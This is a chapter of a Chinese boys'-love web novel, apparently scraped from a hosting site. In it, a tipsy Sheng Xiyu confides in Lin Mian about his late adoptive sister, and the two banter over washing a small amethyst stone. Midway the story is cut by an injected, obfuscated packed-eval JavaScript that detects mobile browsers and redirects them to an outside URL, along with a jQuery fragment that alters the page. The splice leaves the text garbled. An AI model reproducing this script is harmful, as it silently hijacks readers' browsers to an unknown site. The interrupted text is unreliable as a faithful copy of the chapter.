28. 第 28 章
作品:《小石头被残疾学神贴贴要化了》 如果不想待在这,可以马上就走。
林冕传达了这个讯息。
那只温凉的手覆盖在手腕,盛溪屿迷迷糊糊地跟着离开了。
0727的灯光跟0728的如出一辙,盛溪屿躺在床上,头顶层层叠叠的光晕在乱晃,激得胃里翻江倒海,有点想吐。
强行压下身体里那股不适,盛溪屿坐起来,舔了舔干涩的唇,“明珠姐姐是陈奶奶收养的孩子,我算是跟她一起长大的吧,我没家人,就把她当有血缘关系的亲姐,也把陈奶奶当亲奶奶。”
视野还是模糊的,只能依稀看到林冕在洗手间进进出出。直到林冕的身影越来越近,脸上被温热的柔软覆盖。
盛溪屿吓一跳,下意识后仰,眨眨眼待眼前清明,看清是热毛巾。
热毛巾在林冕手掌上,没有强硬地追着盛溪屿弄,而是耐心地举着。
盛溪屿眼前又模糊了,模糊到彻底看不清林冕的脸,咬咬牙破罐破摔,一头砸进毛巾里,隔着毛巾小幅度蹭一蹭林冕的手心。
跟只乖乖洗脸的小猫一样。
“姐姐很好,可是她不在了。”盛溪屿抬起脸,因为被热毛巾敷过,脸颊是红的,“她喜欢跳舞,奶奶就送她去学舞,她也很厉害,还被经纪公司选中了,我鼓励她去,然后她就车祸去世了。”
盛溪屿记得很清楚,收到姐姐去世消息的那一刻,一直以笑待人的奶奶到底有多崩溃。
“奶奶家境不好,深居简出,没有子女,只有姐姐,邻居都说奶奶捡到姐姐那天笑得嘴都合不拢,还把一直舍不得杀的蛋鸡杀了给姐姐补营养。”
“奶奶好珍惜姐姐,明珠这个名字还是奶奶花钱请大师帮忙取的。”
林冕打断他:“你姐姐是明珠,那你是什么?”
“我?”盛溪屿没想到林冕会在这个时候问这个问题。
小石头在林冕手心里握着,盛溪屿弯眸笑起来,脸再一次埋进毛巾里,说话的声音听上去很闷,“你不是知道吗?你早就知道,一直不说,一直作弄我。”
盛溪屿深吸一口气:“我是石头啊。”
姐姐做什么都很好,是一颗闪闪发光的明珠,而他总是让奶奶担心,只是不起眼的一颗石头罢了。
“错了。”林冕替盛溪屿擦干净脸,“你不是普通的石头。”
盛溪屿微怔,一阵心悸,炸得他心脏跳得好快。
他抬起头来,自嘲地笑:“那你说,我是什么?”
“是紫水晶。”
“对不同的人,它有不同的价值和寓意。”
“但至少,是漂亮的,也是受人追崇的。”
好像有点自恋,盛溪屿总感觉林冕不是在说小石头,而是在说他本人。
“你怎么知道?”盛溪屿从来没想过去了解他是个什么品种的石头,反正都是石头,不都一样吗?
林冕反问:“你从来不在乎你自己吗?”
“哪里没有。”盛溪屿反驳,“我可在乎我自己了,我很自私的好不好。”
指尖在揉鼻尖,是典型的心虚表现。
毛巾再一次敷上去,希望能让盛溪屿清醒清醒。
醒酒也好,对自我认知的判断也好。
“你别这么粗鲁。”盛溪屿气急败坏地踢林冕一脚。
“你姐的事不是你的错。”林冕面无表情地瞥一眼裤腿上又一个脚印,将毛巾仔细折好,“你没必要自责。”
连安慰人的时候,都表现得是那么冷血。
盛溪屿撇嘴,害臊地嘀咕:“又没让你安慰我……”
可这颗倔强的小石头借着酒意坦白,不就是想寻求一个安慰吗?
林冕不戳穿,出乎意料的好说话,“嗯,好,是我特别想安慰你。”
盛溪屿尴尬,想再把脸埋进毛巾里当一会儿鸵鸟,见林冕已经把毛巾收起来了,只好作罢。
姐姐出事后,盛溪屿听过很多类似于“逝者安息”的安慰话语,知道真相的人在小心避着不提那个名字,比如夏智,比如奶奶。
只有林冕不一样,从那三言两语中,林冕知道他在意什么,在叫他别自责。
那么冷的一个人,却一眼就能把人看穿。
真是可恶,又可怕。
“你以后能不能别随随便便读我的心?”盛溪屿没头没脑地嘟囔,“很恐怖啊,在你面前没有秘密什么的。”
林冕:……
林冕纠正:“想多了,我没有读心术。”
不过能正常听到某人说话,这倒是真的。
某人盘腿上床,好像一下子活了过来。
“我以后绝对不要惹你。”
“你最好说到做到。”林冕丢下这句话,进洗手间洗毛巾。
小石头还在林冕手里,盛溪屿巴巴地跟上去,想多听林冕说点紫水晶的事。
与镜子里的林冕对视时,盛溪屿略微犯囧。
“之前那个问题你还没回答我。”
“显而易见的事。”林冕说,“它很漂亮,是你养得太粗糙了。”
“什么话什么话!”盛溪屿不服气,“我怎么可能不好好养我自己,你不要血口喷人。”
“刚看到它的时候,他灰扑扑的。”林冕打开水龙头,当着盛溪屿的面将小石头放进水槽里。
镜子里,盛溪屿表情怪异,显然是又……
林冕很体贴地松开手。
小石头沉入水底,盛溪屿呼吸沉重,愤恨地瞪林冕,“你要干嘛。”
“你要我自己动手?”林冕从盛溪屿头顶扫到脚底。
分明是与平时无异的平静眼神,盛溪屿却感受到一丝不可抑制的侵略性。
手是酸软的,在林冕的注视下,盛溪屿从水里捞起那颗小石头。
“然后呢?”盛溪屿倏地感觉好羞耻。
林冕将沐浴露递过去。
盛溪屿脑子嗡的一下:“啊?”
以前没往别的方面想,现在就算再迟钝,也该反应过来了。
不是?这跟脱光了站在林冕面前有什么区别?
“要不你……避一下嫌?”盛溪屿耳根爆红,“当然我不是害羞的意思啊,我俩都是男的,这没什么,我也不是很矫情的人,我吧……我就是觉得……嗯……”
盛溪屿不得不承认之前弄丢小石头的那段时间里小石头被林冕养得很好,他当然知道林冕在很用心地洗护小石头,灰扑扑的小石头能变得通透漂亮,自然是离不开林冕的大半功劳。
可今非昔比,一想到林冕做过什么,现在还要当着林冕的面再做,就……
林冕淡淡道:“都被我摸遍了。”
盛溪屿:……
大哥,能不能不要这么正经地说这么不正经的话啊!我刚刚才敞开心扉跟你坦白过啊!我也是要面子的啊!
盛溪屿缩回手,任小石头再次沉入水底。见林冕要去捞,盛溪屿眉心一跳,惊慌失措,赶紧抱住林冕的手臂。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400076|168657||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人不可貌相,这个人心眼太坏了!!!
盛溪屿求饶:“你先出去,我一个人来,我一定把它洗得干干净净,弄得漂漂亮亮的给你。”
林冕似笑非笑:“给我?你在这个时候,竟然是在想着要为我做这种事?”
“错了错了,为我自己。”盛溪屿忙不迭点头,“我以后一定把自己放在第一位,你先出去吧,好不好,嗯?林冕?叫你哥还不行吗?”
林冕:……
显然是行的。
林冕终于出去了。
盛溪屿把门上锁,脸红心跳,羞耻到要爆炸。
早知道就不要坦白了,双方心知肚明不戳穿不是很好吗?
以后还怎么光明正大的叫林冕拿着这个东西?这跟直接叫林冕抱他是一个意思了。
真是以一己之力将困难级副本升级成地狱级副本……
盛溪屿戴上痛苦面具,轻轻地碎掉了。
洗手间就在大门边,门被敲响的声音很清晰很沉重,盛溪屿把小石头匆匆冲洗一遍,收进兜里。
“盛哥呢?”夏智在门外狗狗祟祟,探头探脑。
林冕睨一眼洗手间门上的倒影:“在忙。”
夏智咽口唾沫,不敢进门,“你把他哄好了吗?求你一定要帮我把他哄好,我什么都会做的。”
林冕不正面回应:“回去吧。”
“好的。”夏智颤颤巍巍地退出去,“一定要帮我把他哄好啊,一定啊!”
林冕皱眉,有些不耐烦。
“好的好的,我这就滚。”夏智一溜烟逃了。
盛溪屿推门出来,万分嫌弃,“狗夏智胆子这么小,我需要你来哄?”
“那我把他叫回来,叫他亲自哄哄你?”
“也不需要。”盛溪屿摸一摸发烫的脖颈,嘴硬道:“我又不是那么小气的人,醉鬼的无心之举,我会在意?”
“我看你确实很在意。”林冕一阵见血,“需要我帮你回忆?”
“不需要不需要不需要。”盛溪屿脸上刚消下去的温度又要冒上来,“我说不过你,所以你现在可以去跟夏智回复了,说哄好了。”
林冕沉默片刻,无声叹一口气。
“又叹什么气……”盛溪屿抓抓乱糟糟的头发,还是搞不明白林冕脑子里在想什么。
林冕问:“在你眼里,我是那么好心的人吗?”
“不是啊。”盛溪屿下意识回答。
可脱口而出后,又觉得这话不对。
林冕好像人还是不错的?
让他肆无忌惮地贴贴,还帮奶奶看管他,还给他作业抄。
最重要的是,他以后的身体情况还得靠林冕。
为了以后的身心舒畅,盛溪屿改口,郑重:“是。”
那双眼睛里透露着的讯息是:我都回答“是”了,你以后还是得做我的药。
时间一分一秒走着。
换洗衣裳被随意扔在床上,林冕避开与盛溪屿对视的可能,脸色渐冷,轻微地愠怒,纠正道:“不是。”
盛溪屿:……?
喝了酒的脑子有半片是混沌的,盛溪屿实在跟不上林冕的节奏,心想怎么反而还生气了,明明是在夸他呀。
“我和夏智不熟,没那么好心。”
盛溪屿逐字逐句地消化,在与林冕四目相对时终于明白过来了。
林冕不是为了给谁交差才哄他的。
是自发、自愿、心甘情愿的。